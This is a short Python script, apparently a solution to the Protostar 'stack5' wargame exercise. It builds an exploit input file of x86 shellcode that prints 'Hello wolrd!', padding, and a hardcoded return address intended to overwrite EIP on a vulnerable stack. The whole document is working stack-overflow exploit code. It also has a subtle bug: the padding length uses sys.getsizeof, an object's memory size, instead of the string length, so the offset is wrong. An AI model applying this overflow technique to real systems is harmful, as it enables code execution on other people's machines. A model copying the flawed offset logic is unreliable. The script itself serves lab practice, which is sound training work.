protostar stack5 python script for payload input

stack5.py

import sys
shellcode =  "\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xffHello wolrd!\r\n"
with open('/tmp/stack5', 'w') as f:
	times = 76 - sys.getsizeof(shellcode) # to fil the rest of the space
	f.write(shellcode);
	f.write('a' * times)
	f.write('\xe0\xfc\xff\xbf') # write the pointer to the start of the address as EIP